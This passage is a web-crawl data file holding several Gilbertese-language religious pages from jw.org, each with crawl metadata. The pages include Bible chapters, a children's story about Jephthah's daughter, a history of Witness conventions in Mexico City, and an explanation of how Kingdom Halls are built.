kimototo.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-reirei-maati-2016\/titiraki-mairouia-taani-wareware\/","date":"2018-02-23T17:02:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891814801.45\/warc\/CC-MAIN-20180223154626-20180223174626-00076.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2310,"character_repetition_ratio":0.068,"word_repetition_ratio":0.002,"special_characters_ratio":0.239,"stopwords_ratio":0.442,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko nora te teinnaine n te taamnei?— Bon te teinnaine ae natin te mwaane ae arana Iebeta. E aki kaotaki nakoira arana n te Baibara, ma ti ataia bwa e kakukureia nanon tamana ao Iehova naba. Ti na reiakina taekan neiei ao tamana ae Iebeta.\nBon te mwaane ae raoiroi Iebeta ao e kabanea ana tai ae bati n reiakina natina taekan Iehova. Bon te mwaane naba ae ninikoria ao te tia kairiri ae raoiroi. Ngaia are a tuangnga tibun Iteraera bwa e na kairiia n te buaka ni kaaitaraia aia kairiribai.\nE tataroa ana ibuobuoki te Atua Iebeta bwa e na tokanikai n te buaka. E berita Iebeta bwa ngkana e tokanikai, ao e na angan Iehova te moan aomata are e otinako man ana auti ngkana e okira mwengana. E na maeka ao ni mwakuri te aomata aei ni kabanea ana bongi ni maiu n ana umwanrianna ae tabu te Atua. Te umwanrianna ae tabu bon te tabo ae a kakawaria aomata ibukin taromaurian te Atua, n taai ake ngkoa. E bon tokanikai Iebeta n te buaka! Ko ataia bwa antai are e moan otinako man ana auti ngke e a okira mwengana?—\nEng, bon te teinnaine ae natin Iebeta! Bon te rikitemanna neiei iroun tamana, ao e nang kanakoaki ngkai iroun tamana nakon te umwanrianna ae tabu. E rangi n nanokawaki iai te karo aei. Ma uringnga are e a tia ni karaoa ana berita. E kangai natina n te tai naba arei, 'Tamau, ko a tia ni berita nakon Iehova, ngaia are ko riai ni kakoroa bukina.'\nE nanokawaki naba te teinnaine are natin Iebeta. E ataia ae e a aki kona ni mare ao ni karikiia natina, ngkana e a maeka n te umwanrianna ae tabu. Ma e rangi n tangiria ni kakoroa bukin ana berita tamana ao ni kakukureia nanon Iehova. E kakawaki riki anne irouna nakon ae e na mare ke ni karikiia natina. Ai ngaia are e a kitana mwengana ao ni maeka n te umwanrianna ae tabu ni kabanea ana bongi ni maiu.\nN am iango, e kukurei tamana ao Iehova n te baere e karaoia?— Eng, a kukurei iai! Ngkana ko ongeaba ao n tangira Iehova, ko kona ni katotonga te teinnaine are natin Iebeta. Ko na rangi ni kakukureia nanoia am karo ao Iehova naba.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/reireinia-natimi\/e-kakukureia-nanon-iehova-te-teinnaine-are-natin-iebeta\/","date":"2018-02-17T22:19:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891807825.38\/warc\/CC-MAIN-20180217204928-20180217224928-00353.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":386,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.451,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"BON raabanen Nobembwa 1932 te tai aei, i Mexico City. Teuana te wiki imwaina, a a tibwa tei tauran te kawai aika maiu man te iti n te kaawa ae bubura aei ae raka mwaitini kaaina i aon teuana te mirion. Ma ai tiaki ngkai te rongorongo ae kakaongora tauran te kawai aikai. A a tabe ngkai ma te bwai ae e na riki n te wiki aei taani karekerongorongo. A mena n te tabo n turein ma aia kainrawetaamnei aika tauraoi, ao a kantaningaa rokon te iruwa ae rine ae Joseph F. Rutherford, ae te beretitenti n te tai anne n te Watch Tower Society. A roko naba ikanne taani Kakoaua ake a na butimwaea Brother Rutherford are e na kaea aia bwabwaro ae tenibong bongina.\nE taekinaki aei n The Golden Age: \"Akea te nanououa bwa e na ururingaki te bwabwaro aei bwa te bwai ae rianako kakawakina n te tai are e waaki iai te Koaua n te aba ae Mexico.\" Ma tera ae rianako iai te bwabwaro aei, ae kaeaki tii irouia aomata aika 150?\nImwain rikin anne ao e aki rangi ni karikiuaa te Tautaeka n Uea i Mexico. Ni moa man 1919, a kakaraoaki ruunga aika uarereke, ma e kekerikaaki mwaitin ekaretia n ririki ake imwina. Ma e taraa n ae e nang bitaki anne imwini kaukan te aobiti n tararua i Mexico City n 1929. E ngae n anne bon iai naba kangaanga. E rangi n un temanna te tia uarongorongo ae kabwanina ana tai ngke e tuangaki bwa e na katoka renganan te waaki ni bitineti ma te mwakuri n uarongorongo, ao e a buubai naba ma ni katea oin ana kurubu n reirei n te Baibara. N te tai naba anne, e karaoa te bwai ae aki boraoi ma ana reirei te Baibara te mataniwi n te aobiti n tararua, ao e a riai ni karekeaki oneani mwina. A a boni kainnanoa kaungaan aia onimaki taani Kakoaua aika kakaonimaki i Mexico.\nN rokon Brother Rutherford e angania taani Kakoaua aikai te kaungaunga ae bati, n ana kabwarabwara aika kaunga aika uoua n te bwabwaro, ao n ana kabwarabwara aika nimaua aika ringa te nano i aon te rerio. Ai tibwa te moantai aei ae taekinaki iai te rongorongo ae raoiroi n rerion Mexico ni kabutaa te aba. Imwin te bwabwaro, e a bairea te mwakuri te mataniwi n te aobiti n tararua are e a tibwa rineaki, ao a a waaki taani Kakoaua aika ingainga ma korakoraia are e a tibwa reke ao ana kakabwaia Iehova.\nN te ririki are imwina, e a aki karaoaki tii teuana te bwabwaro n te aba aei ma ai uoua, teuana n te kaawa ae Veracruz ae te matabaiawa, ao teuana i Mexico City. E a moanna ni karikii uaa aika raoiroi te mwakuri korakora n te uarongorongo. N 1931, ao mwaitiia taan uarongorongo bon 82. Tebwina te ririki imwina, ai tebwina te tai okiokin te mwaiti anne! Iai 1,000 tabun ake a roko i Mexico City ni kaea te bwabwaro n 1941.\n\"NINIAN TAIANI KAWAI\"\nN 1943 ao taani Kakoaua a karin i aoia taiani katanoata ao a katanoataa te Bwabwaro ae \"Free Nation's\" ae karaoaki ni kaawan Mexico aika 12. * A karin ni katinei i aon angaia katanoata aikai, teuana mai moaia ao teuana i akuia, ae te anga n uarongorongo ae e a kamani kabonganaaki irouia taani Kakoaua man 1936.\nE taekina ae kangai te maekatin ae te La Nación ibukin nakoraoin aia mwaati taani kakoaua ma katanoata aikai i aoia i Mexico City: \"Ni moanibongin te [bwabwaro], a tuangaki [taani Kakoaua] bwa a na kaoia aomata aika bati riki. N te bong are imwina, e a aki tau te tabo.\" E aki kukurei te Aro ni Katorika ni mwin aia mwaati aikai, ao e a kauekea kaitaraakia taani Kakoaua. N aki ongea te kakaaitara, ma a bon teimatoa ni mwaati n taiani kawai taari mwaane ma aine aika aki mamaaku aikai. E ribootinaki aei n te La Nación: \"A bane n noriia naakai kaain te kaawa . . . mwaane ao aine ake a uouotii taiani katanoata i aoia.\" E kanimwaki n te kaongora anne taamneia taari n taiani kawai i Mexico City, ma kabwarabwaraan te taamnei anne mai aana ae kangai: \"Ninian taiani kawai.\"\n\"KAINIWENE AIKA MARAURAU AO N ABUE RIKI NAKON AON TE TIMANTI\"\nN ririki akanne, a riai angia taani Kakoaua ni kakeaia ni baika bati ibukini kaean taiani bwabwaro i Mexico. A bati ake a roko mai buki mani kaawa ake a raroanako, ae aki roroko iai te turein ao akea naba te kawai iai. E korea aei te ekaretia teuana: \"Te anga n reitaki ae tii kona n reke iai te tabo aei, bon te uaereti.\" Ngaia are a riai taani kaea te bwabwaro n toka i aon aia miure ke n rianna i nanon irabong, tii ibukini kaean te turein are e na uotiia nakon te kaawa are e na boo iai te bwabwaro.\nA maiu ni kainnano angia taani Kakoaua, ao e kangaanga naba koron kantokaia tii nakon te bwabwaro. Ngke a roko, a bati ake a maeka irouia taani Kakoaua ake boni kaain te tabo anne, ake a butimwaeiia tariia aikai ma te tangira. Tabeman a mamatu n Taabo n Taromauri. N te tai teuana, a mena n te aobiti n tararua tao 90 taan roko, ao a karaoi \"aia kainiwene n taiani boki mani bwaoki ni boki aika 20, ni kawenei booki ni karinani.\" E taekinaki n te Yearbook bwa iruwa aika rangi ni kakaitau aikai, a noria bwa aia \"kainiwene aei e maraurau ao n abue riki nakon aon te timanti.\"\nE rangi ni materaoi irouia taani Kakoaua aika kakaitau aikai aroia ni kakeai baika bati ibukin te ikoikotaki ni Kristian ae kakukurei n tain te bwabwaro. Ni boong aikai, ngkai e a ririkirake mwaitiia taan uarongorongo i Mexico nakon teuana te mirion, e bon teimatoa naba te nano ni kakaitau anne. * E taku te ribooti n 1949 man te aobiti n tararua i Mexico ibukia taari: \"E aki kerikaaki ingaingaia ibukin te bwabwaro teuana ma teuana, bwa bon teuana i buakoni baika a kani kakarakin i nanon te tai ae maan imwina, ao a teimatoa taari n titiraki ni kangai, N ningai ae e na manga boo iai ara bwabwaro?\" E teimatoa n noraki anne ni boong aikai naba n aron are rimoa.—Rongorongora rimoa i Central America.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-reirei-aokati-2017\/aia-bwabwaro-rimoa-ana-tia-kakoaua-iehova-mexico-city\/","date":"2018-02-17T22:14:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891807825.38\/warc\/CC-MAIN-20180217204928-20180217224928-00479.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1050,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.419,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"22 E reitia ni kangai Iehova nakoni Mote: 2 \"Tuanga Aaron ma natina mwaane bwa a riai n tarataraiia raoi ni kaineti ma aroia nakoni* baika tabu aika aia bwai tibun Iteraera, ao a na aki kamatauningaa arau ae tabu+ ni kaineti ma baike a katabui nakoiu.+ Bon Iehova ngai. 3 Ko na kangai nakoia, 'Ngkana iai mai buakoia kanoami n ami roro nako ae e kaania ma baika tabu n ana tai ni kamwara, ake baike a katabui tibun Iteraera nakon Iehova, ao e na kamateaki te aomata* anne mai matau.+ Bon Iehova ngai. 4 E na aki kang baika tabu ni karokoa ae e itiaki,+ te mwaane ae kanoan Aaron ae rebera+ ke iai te bae waanako mani mwaanena,+ ke ae e nako ana tari.+ E na aki naba kang baikai ane e ringa temanna ae kamwara ibukin ringan te aomata* ae mate,+ 5 ke te mwaane ae ringa te man ae mwamwae* ae kamwara,+ ke ane e ringa te aomata ae kamwara n te bwai teuana, ao te aomata ae kona ni kamwara irouna.+ 6 E na kamwara ni karokoa ae bong te aomata* ae ringa teuana mai buakoni baikai, ao e na aki kana te bwai teuana mai buakoni baika tabu, ma e riai n tebotebo n te ran.+ 7 E na itiaki ngkana e a tia ni bung taai, ao imwina e a kona ni kang baika tabu tabeua, ibukina bwa boni kanana.+ 8 E aki riai naba ni kana te man ae kuneaki ni mate ke ae raebitiaki irouia maan ni kaakang, ao e na kamwara iai.+ Bon Iehova ngai. 9 \"'A na kawakini mwiokoaia irou bwa a aonga n aki bure ibukin anne ao ni mate iai, ibukina bwa a kamwaraei baika tabu. Bon Iehova ngai ae I katabuia. 10 \"'E na aki kang baika tabu te aomata ae akea kariaiakana.*+ Akea te ianena ae maeka iroun te ibonga* ke te tia mwakuri ae kabooaki ana mwakuri, ae e na kang baika tabu. 11 Ma ngkana e kabooa te aomata* te ibonga n ana mwane, e kona te aomata anne ni kanna. A kona naba ni kana kanana tooro ake a bungiaki ni batana.+ 12 Ngkana e mare natin te ibonga te aine ma te aomata ae tiaki te ibonga,* e na aki kang bwaai n tituaraoi neiei aika tabu. 13 Ma ngkana e a mate buun natin te ibonga te aine ke e buuraure buuna ma ngaia ao akea natina, ao ibukin aei e a okira ana auti tamana n arona ngke e kairake, e kona neiei ni kana teutana kanan tamana,+ ma e na aki kanna te aomata ae akea kariaiakana.* 14 \"'Ngkana e kana te bwai ae tabu te aomata n tiaki nanona, e riai ni kabooa mwina ma n raonna ni kanimamwakorona ao e na angan te ibonga te karea ane tabu anne.+ 15 Mangaia ae a aki riai ibonga ni kamwaraei baika tabu aika aia bwai tibun Iteraera ake a anga nakon Iehova,+ 16 ao ni karokoa i aoia aomata te tuuaa ibukin te bure, n aroia ni kariaia aomata bwa a na kang baika tabu, bwa bon Iehova ngai ae I katabuia.'\" 17 E reitia ni kangai Iehova nakoni Mote: 18 \"Taetae nakon Aaron ma natina mwaane ao tibun Iteraera ni kabane ao kangai nakoia, 'Ngkana e anga ana karea ni kabuekaki+ nakon Iehova tibun Iteraera temanna ke te aomata ae maeka n iruwa i Iteraera, bwa kakororaoan ana taeka ni bau ke e karaoia bwa te karea ni kan anga,+ 19 e riai n anga te man ae te mwaane ae marurung raoi+ mai buakon te nanai, mai buakoia tiibu mwaane aika ataei ke kooti, bwa e aonga n reke akoana. 20 Kam na aki anga ae iai toabuakani bwain rabwatana,+ bwa e na aki reke iai akoami. 21 \"'Ngkana e anga ana karea n raoi te aomata+ nakon Iehova bwa kakoroan ana taeka ni bau ke ana karea ni kan anga, e riai ni marurung raoi te man anne mai buakoia kaao ke tiibu, bwa e aonga n reke akoana. E aki riai n toabuaka naba teutana bwain rabwatana. 22 E aki riai te karea ni mataki, ni mwaoto, n ikoaki, n nongaiburuburu, ni koa, ke ni konee, kam na aki anga nakon Iehova mai buakon aikai, ke ni kareana te karea anne i aon te baonikarea ibukin Iehova. 23 Ko kona n anga bwa te karea ni kan anga te kao mwaane ke te tiibu ae riao abwakin ke uarerekeni waena ke baina teaina, ma e aki kona ni butimwaeaki bwa te karea ae te taetae ni bau. 24 Kam na aki anga nakon Iehova te man ae ikoaki maangena ke ni manatua, ke ae kanakoaki maangena ke ni koreaki, ao kam aki riai ni karean aeka ni man akanne i abami. 25 Ao kam na aki anga temanna mai buakon aikai mai bain te ianena, bwa te amwarake ae kareanaki nakon Atuami, bwa a buakaka ao a toabuaka. A na aki butimwaeaki.'\" 26 E reitia ni kangai Iehova nakoni Mote: 27 \"Ngkana e bungiaki te kao mwaane ke te tiibutetei ae te mwaane ke te kooti, e na teimatoa n tiku iroun tinana i nanon itibong,+ ma e na kariaiakaki bwa te karea n te kawanibong ao imwina riki, ae te karea ae kareanaki n te ai nakon Iehova. 28 Kam na aki kamatea te kao mwaane ma natina ke te tiibu ma natina n tii tebongina.+ 29 \"Ngkana kam kareana te karea ni katituaraoi nakon Iehova,+ kam riai ni kareanna ibukini karekean akoami. 30 E riai ni kanaki n te bong anne. Kam aki riai ni katuka teutana ni karokoa ae ingabong.+ Bon Iehova ngai. 31 \"Kam riai ni kawakin au tua ma ni kakairi iai.+ Bon Iehova ngai. 32 Kam na aki kamatauningaa arau ae tabu+ ao N na katabuaki i buakoia tibun Iteraera.+ Bon Iehova ngai ae I katabuingkami,+ 33 are teuare kairingkami ni kaotinakoingkami man te aba are Aikubita ni kaotia nakoimi bwa bon te Atua ngai.+ Bon Iehova ngai.\"\nTaiani Kabwarabwara Mai Nano\n^ Ebera, \"a riai ni kaokoroia mani.\"\n^ N te taetae n Ebera ao e kaineti nakoia maan aika uarereke aika mwaitikurikuri aika a kiribobotaki aika kona ni kuneaki n te ea, i taari, ke i aon te aba.\n^ Ebera, \"ae te ianena,\" ae taekan te mwaane ae tiaki kaain ana utu Aaron.\n^ Nora Nanon Taeka.\n^ Ke, \"e mare ma te ianena.\"\n^ Ebera, \"te ianena,\" ae taekan te mwaane ae tiaki kaain ana utu Aaron.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/nakoaia-ibonga\/22\/","date":"2018-02-24T13:44:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891815812.83\/warc\/CC-MAIN-20180224132508-20180224152508-00168.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1045,"character_repetition_ratio":0.077,"word_repetition_ratio":0.006,"special_characters_ratio":0.244,"stopwords_ratio":0.424,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ngke a aerake nako eta taan rimwin Iesu imwin te karuanikai are a kaitaraa i taari, a a manga rinanon riki te bwai ae rangi ni kamimi. A biri nakon Iesu uoman mwaane aika kakamaaku taraaia aika memena ribuakon ruanimate ake a taniaki irouia taimonio. E boboto te rongorongo aei tii i aon temanna ae rangi n iowawa riki ae e a rangi ni maan n tauaki arona irouia taimonio.\nE a tia te mwaane ae kananoanga aei n nanakonako n akea karabaana. E \"tatakarua n te bong ao n te ngaina ribuakon ruanimate ao riaoni maunga, ao e raraaruaia i bon irouna n atibu.\" (Mareko 5:5) E bon rangi n iowawa n te aro are a a maaku aomata n toua te kawai anne. A a tia tabeman ni kataia ni kabaea, ma e momotiki tiein ao e urui kabaeani waena. Bon akea ae iai korakorana n taua.\nNgke e kawara Iesu teuaei ao ni bobaraaki i waena, ao taimonio a kaira teuaei bwa e na takarua ni kangai: \"Ko na iraanai ngkoe Iesu ae Natin te Atua ae Moan te Rietata? I tuangko bwa ko na taetae n tuea n aran te Atua bwa ko na aki katuuaaeai.\" E kaotia Iesu bwa iai mwaakana i aoia taimonio ngke e tua ni kangai: \"Otinako mai nanon teuanne, ngkoe te taimonio ae ko kamwara.\"—Mareko 5:7, 8.\nNi koauana, e taniaki teuaei irouia taimonio aika bati. Ngke e titiraki Iesu ni kangai: \"Antai aram?\" ao e kaeka ni kangai: \"Arau bon te Taanga, ibukina bwa ti bati.\" (Mareko 5:9) E kaainaki te taanga ni buaka n Rom irouia tautia aika nga ma nga mwaitiia, ngaia are boni nga ma nga taimonio ake a mena iroun te mwaane aei ao a kimwareirei ni karawawataa. A bubutiia Iesu \"bwa e na aki tua nakoia bwa a na nakon te kinono.\" A bon ataia bwa tera ae mena imwaia ma aia tia kairiri ae Tatan.—Ruka 8:31.\nIai te nanai ni beeki aika tabe ni kang uteute i rarikia ae tao 2,000 mwaitiia. Ni kaineti ma te Tua ao a riai I-Iutaia n aki kawakinia maan aika aki itiaki. A taku taimonio: \"Kanakoira nakoia beeki bwa ti na rin i nanoia.\" (Mareko 5:12) E tuangia Iesu bwa a na nako, ao a a rin i nanoia beeki. Ibukin anne ao a bane beeki ake 2,000 mwaitiia n takaka ni biri ma ni bwaka ni katatin te maunga ao ni bwabwa i taari.\nNgke a nora aei taani kawakinia beeki, a kawaekoaia nakon te kaawa ao te marenaua bwa a na ribootina te bwai ae riki. Ao a a roko aomata bwa a na nora te baere riki. Ngke a a roko ao a nora teuare taniaki ngkoa bwa a a tia n otinako mairouna taimonio bwa e a marurung ao e a oi n aomata ngkai. E a kunnikainna ao n tekateka i rarikini waen Iesu.\nA a rotaki n te maaku aomata ake a ongo aei ke n nora te mwaane arei ao a aki ataia bwa tera nanon aei ibukia. A kaumaka Iesu bwa e na kitana aia aono. Ngke e a tokara te booti Iesu bwa e nang kitana ikanne, ao e a bubutii te mwaane anne nakoina bwa e na iria. Ma e kangai nakoina: \"Okira mwengam ao kaongoraeia am koraki bwaai ni kabane ake e karaoi Iehova ibukim ao nanoangaam irouna.\"—Mareko 5:19.\nE taneiai Iesu n tua nakoia ake e kamaiuia bwa a na aki kaokaota kamaiuaia, bwa e aki tangiria bwa e na tii boboto kakoauaana irouia aomata i aon rongorongona aika karakarakaaki. Ma e riai kaokaotan aei, bwa e aonga n uarongorongo teuae taniaki ngkoa aei, i buakoia aomata ake e a aki reke rokon Iesu irouia. E na kakoauaaki naba mwaakana ni karaoa ae raoiroi ngkana e noraki teuaei ni kaitaraa te ribooti ae aki raoiroi ni buaia beeki. Ngaia are e a nako te mwaane arei ni moana tataekinan te baere e karaoia Iesu nakoina ni kabutaa Tekabori.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/iesu\/mwakuri-ni-minita-i-kariraia\/mwaaka-i-aoia-taimonio\/","date":"2018-02-26T03:57:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891817999.51\/warc\/CC-MAIN-20180226025358-20180226045358-00249.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":653,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.435,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Ma bon iai burabeti ni kewe i buakoia tibun Iteraera ngkoa, ao ai arona naba bwa ane a na iai taan angareirei ni kewe i buakomi.+ A na karekea te koraki aei te bwenaua* ae kamamate, n te aro ni karaba, ao a na kakeaa naba teuare aia mataniwi are kabooia,+ ao a na kawaekoaa kamaunaakia iai. 2 Ao a na bati ake a na toui mwin aroaroia aika kammaira,*+ ao ane e na taetae ni kabuakakaaki kawain te koaua ibukia nakanne.+ 3 Ane a na nanonrang naba n aonikaingkami n aia taeka ni kewe. Ma e na aki iremwe tuuaaia are e a kamani motikaki ibukia mangkoangkoa,+ ao e na bon roko kamaunaakia.+ 4 Bwa e aki taona nanona te Atua mani katuuaaeaia ngkoa anera ake a bure+ ma e karenakoia nako Tatarati,*+ ni kabwakaia ni mwarua aika rotongitong bwa a na tauaki iai imwain te motikitaeka,+ 5 ao e aki taona naba nanona ngke e katuuaaeia kaain te aonnaba rimoa,+ ma e kawakina Noa are te tia uarongorongoa taekan te raoiroi,+ ni kamaiua ma raona ake itiman+ ngke e karokoa te ieka irouia kaain te aonnaba ake a aki karinea te Atua,+ 6 ao e katuuaaeia naba kaawa aika Totom ma Komora ngke e kabueki,+ ao e kateia bwa te katoto ibukini baika a na roko ibukia aomata aika aki karinea te Atua,+ 7 ao e kamaiua Rota+ ae te aomata ae raoiroi, are e rangi n rawawata n aroia aomata n akiako ni kakaraoa ae kammaira*— 8 bwa e kammarakaki ni katoabong te aomata ae raoiroi aei n aia mwakuri aika bubuaka ake e nori ao ake e ongo ngke e maeka i buakoia. 9 Mangaia are e ataa Iehova* aroni kamaiuaia aomata ake a tangiria, man te kataaki,+ ma e tauia aomata aika buakaka imwain te bong ni motikitaeka+ bwa a na kamaunaaki,* 10 ma ai moarara riki te koraki ake a kani wene ni bure ma tabemwaang bwa a aonga ni kamwaraeia iai,+ ao a ribaiia te koraki ake a tautaekania.*+ A aki mamaaku ao a bangaomata, ao a aki maaku n taetae ni kabuakakaia te koraki ake a mimitong. 11 Ma a aki bukinia taan angareirei ni kewe anera ake a rangi ni korakora ao ni mwaaka riki, ao a aki taetae ni kabuakakaia, ibukina bwa a karinea Iehova.*+ 12 Ma a taetae ni kabuakakai baika a ronnano+ iai aomata aikai, aika kaanga ai aroia maan aika aki wanawana, aika bungiaki bwa a na raweaki ni kamateaki, mangaia ae a na boni kamaunaaki n oini kawaia ae buakaka, 13 bwa a karekei oini kaia i bon irouia bwa kaniwangan aia bure. A iangoia bwa e kakukurei katokan nanoia ni kaibwabwarun te rabwata,+ n te ngaina naba. Boni baareka ao memea naakai, ao a maiu nanoia ni mwamwanaa te aba n aia reirei aika kewe, ngkana a raoningkami n ami baka n amwarake.+ 14 E korakora i nanoia te kani wene ni kimoa*+ ao a aki kona ni katoka karaoan ae bure, ao a kamwaneia aomata* aika mamaara. A kataneiaaki nanoia n te mataai. Bon ataei aika a na maraia ngaiia. 15 A kitana te kawai ae eti ao a burebureaki. A toua mwini kawaini Baraam+ are natini Beora, are e tangira te kaniwanga mani karaoan ae bure,+ 16 ma e boaaki ni kaetaki ibukin riaoakin ae riai irouna.+ E taetae ni bwanaan te aomata, te man ae te taongki ae aki kona n taetae, ao e tuka te burabeti aei mani karaoan te aro n nanobaba.+ 17 Boni koburake n ran naakai aika akea rania, ao buane aika ukakinako n te angibuaka, ao e katauraoaki imwaia te roo ae rotongitong.+ 18 A kamoamoa n taeka ni karang aika akea manenaia. A mwamwanaiia te koraki ake a a tibwa buutakinako mairouia taani kakaraoa ae bure, ni kaibwabwarun te rabwata+ ma mwaan aika kammaira.*+ 19 A berita nakoia bwa a na inaomata, ma a bon toronaki ngaiia n te buakaka,+ bwa ane e konaaki iroun temanna ao e bon tautoronaki irouna.+ 20 Bwa ngkana a a tia ni buutakinako mani kamwaraan te aonnaba+ aei n te atatai ae eti ibukin te Uea ae te tia Kamaiu are Iesu Kristo, ao ngkana a a manga mangao i buakoni baikai ma ni konaaki iai, ao e a kakaiaki riki aroia are te kabane nakon aroia are rimoa.+ 21 E raoiroi riki ngke e aki reke irouia ataakin raoi kawain te raoiroi, nakon ae a a manga tannako man te tua ae tabu are a anganaki, imwin ataakin te kawai anne irouia.+ 22 E a riki nakoia aron are e taekinaki n te taeka n rabakau ae koaua ae kangai: \"E a manga okira mumutana te kamea, ao rabinobinona n te bokaboka te beeki ae e a tia n tebokaki.\"+\nTaiani Kabwarabwara Mai Nano\n^ Ke, \"koraki n Aro.\"\n^ Ke, \"aroaroia aika kanuka.\" Ana bururare te taeka ni Kuriiti ae a·selʹgei·a. Nora Nanon Taeka.\n^ Nora Nanon Taeka.\n^ Ke, \"te aroaro ae kanuka.\" Kuriiti a·selʹgei·a. Nora Nanon Taeka.\n^ Nora Buk. A5.\n^ Kuriiti, \"koreakinako.\"\n^ Ke, \"kakeaa bongan te nakoa n tautaeka.\"\n^ Nora Buk. A5.\n^ Ke, \"E onrake mataia n te wene ni kimoa.\"\n^ Kuriiti, psy·kheʹ, nora Nanon Taeka.\n^ Ke, \"aroaro aika kanuka.\" Ana bururare te taeka ni Kuriiti ae a·selʹgei·a. Nora Nanon Taeka.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/2-betero\/2\/","date":"2018-02-20T01:38:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891812871.2\/warc\/CC-MAIN-20180220010854-20180220030854-00405.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":850,"character_repetition_ratio":0.052,"word_repetition_ratio":0.01,"special_characters_ratio":0.238,"stopwords_ratio":0.441,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E nanonaki te ara ae te Tabo n Taromauri bwa bon nibwan te reirei man te Baibara are maroroakinaki iai Ana Tautaeka n Uea te Atua are e aki toki n tataekinna Iesu n ana mwakuri ni minita.\nBon nibwan te taromauri ae koaua n am kaawa. E baireaki n te Tabo n Taromauri, tataekinan te rongorongo ae raoiroi ibukin te Tautaeka n Uea. (Mataio 24:14) A kakaokoro buburan ao tein Taabo n Taromauri, ma a bon tau buburaia ao e aki bati iai te kabanemwane, ao e raka i aon teuana te ekaretia ae a kabongana. N ririki aika tibwa nako, ao a tia ni kateaki nga ma nga Taabo n Taromauri aika boou ibukin rikirakeia kaain te ekaretia (ai aron ae a kateaki nimaua n te bongina). E kangaa n riki anne?\nA kateaki mani bwaintangira ake a baireaki ibukini boutokaan te mwakuri ni katobibia te aonnaba. A kanakoaki bwaintangira aikai nakon te aobiti n tararua, n te aro a kona n tauraoi mwaane nakoia ekaretia ibukini katean aia Tabo n Taromauri ke n onobwaiaki.\nA kateaki irouia taan anganano aika aki kabooaki ao ni kakaokoro aia konabwai. N aaba aika mwaiti ao a baireaki iai kaain te Kurubu Ibukini Katean Taabo n Taromauri. A mwaing kaain te tiim ni kateitei ao taan anganano man te ekaretia teuana nakon are teuana i aon abaia, e ngae ngke e raroanako bwa a na buokiia kaain ekaretia n te aono anne ni katean aia Tabo n Taromauri. N aaba tabeua ao a a tia ni mwiokoaki taani Kakoaua aika mwaatai bwa a na kaira katean ao onobwaian Taabo n Taromauri n te aono are a mwiokoaki iai. E ngae ngke a bati mwaane aika taan iokinibwai aika mwaatai man te aono anne ake a anga nanoia ibukin te tabo ni kateitei, ma a a tia unimwaane n te ekaretia n te aono anne ni karekeia taani mwakuri aika bati ake a kukurei n anga nanoia. E nakoraoi te mwakuri ni kateitei, man ana ibuobuoki te taamnei ae raoiroi mairoun Iehova ao aia kakorakora ana aomata ma nanoia ni kabane.\nBukin tera bwa e aranaki ara tabo ni bobotaki bwa Taabo n Taromauri?\nA kangaa ni kateaki Taabo n Taromauri ni katobibia te 